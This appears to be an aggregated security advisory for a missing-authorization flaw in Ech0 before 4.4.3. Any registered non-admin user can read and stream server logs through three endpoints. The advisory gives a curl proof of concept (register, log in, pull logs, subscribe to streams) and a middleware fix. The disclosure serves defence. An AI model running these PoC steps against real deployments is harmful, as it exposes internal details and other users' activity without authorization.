Ech0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
Ech0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
Ech0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
## Summary
The system log endpoints (`GET /api/system/logs`, `GET /api/system/logs/stream`, `WS /ws/system/logs`) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks.
## Details
The dashboard routes in `internal/router/dashboard.go:7-8` register log endpoints on the `AuthRouterGroup` without any `RequireScopes` middleware:
```go
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}
```
Compare with other admin-only routes that properly use `RequireScopes`:
```go
// internal/router/setting.go — every route has RequireScopes
appRouterGroup.AuthRouterGroup.GET("/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.SettingHandler.GetSiteSettings())
```
The `AuthRouterGroup` only applies `JWTAuthMiddleware()` (router.go:36), which validates the JWT and sets the viewer context but does **not** check admin status. The `WSRouterGroup` (router.go:37) has no middleware at all — the WebSocket handler only calls `ParseToken` to verify the JWT signature (dashboard.go:74) without any role/scope validation.
The handler (`internal/handler/dashboard/dashboard.go:29-62`) and service (`internal/service/dashboard/dashboard.go:21-27`) contain zero authorization checks. Other services in the codebase properly enforce admin access:
- `internal/service/inbox/inbox.go:132` — `ensureAdmin()`
- `internal/service/migrator/migrator.go:360` — `ensureAdmin()`
- `internal/service/comment/comment.go:719` — `requireAdmin()`
Non-admin users are created with `IsAdmin: false` and `IsOwner: false` (`internal/service/user/user.go:220-221`) via the public registration endpoint.
The `LogEntry` struct (`internal/util/log/log.go:78-87`) exposes:
```go
type LogEntry struct {
Time string `json:"time"`
Level string `json:"level"`
Msg string `json:"msg"`
Module string `json:"module,omitempty"`
Caller string `json:"caller,omitempty"` // internal file paths
Error string `json:"error,omitempty"` // error stack traces
Fields map[string]any `json:"fields,omitempty"` // arbitrary structured data
Raw string `json:"raw,omitempty"` // raw log lines
}
```
## PoC
```bash
# 1. Register a non-admin user (system allows up to 5 users by default)
curl -X POST http://localhost:8080/api/register \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}'
# 2. Login to get session token
TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token')
# 3. Read system logs — should require admin but doesn't
curl http://localhost:8080/api/system/logs \
-H "Authorization: Bearer $TOKEN"
# Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]}
# 4. Subscribe to real-time log stream via SSE
curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN"
# 5. Subscribe via WebSocket (WSRouterGroup has NO middleware)
# wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN"
```
## Impact
Any registered non-admin user can:
- **Read all historical system logs** including error traces that reveal internal code paths, database errors, and application state
- **Stream real-time logs** via SSE or WebSocket to monitor all server activity as it happens
- **Gather reconnaissance data** — caller fields expose internal file paths and line numbers, error fields expose stack traces and database query failures, module fields map the internal architecture
- **Monitor other users' actions** — authentication failures, registration events, and admin operations appear in logs
This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state.
## Recommended Fix
Add `RequireScopes` middleware with an admin scope to the dashboard routes:
```go
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.WSSubscribeSystemLogs())
}
```
Additionally, the WebSocket handler should validate admin scope after parsing the token, since the `WSRouterGroup` lacks middleware:
```go
// internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs
claims, err := jwtUtil.ParseToken(token)
if err != nil {
ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"})
return
}
// Add admin check for WebSocket endpoint
if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) {
ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"})
return
}
```
Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure in github.com/lin-snow/ech0.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 25, 2026, 11:33:30 AM
dateUpdated: Aug 25, 2026, 12:57:52 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-862
Original publisher date fields
published: 2026-08-25T12:16:35.107
lastModified: 2026-09-23T18:14:58.577
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.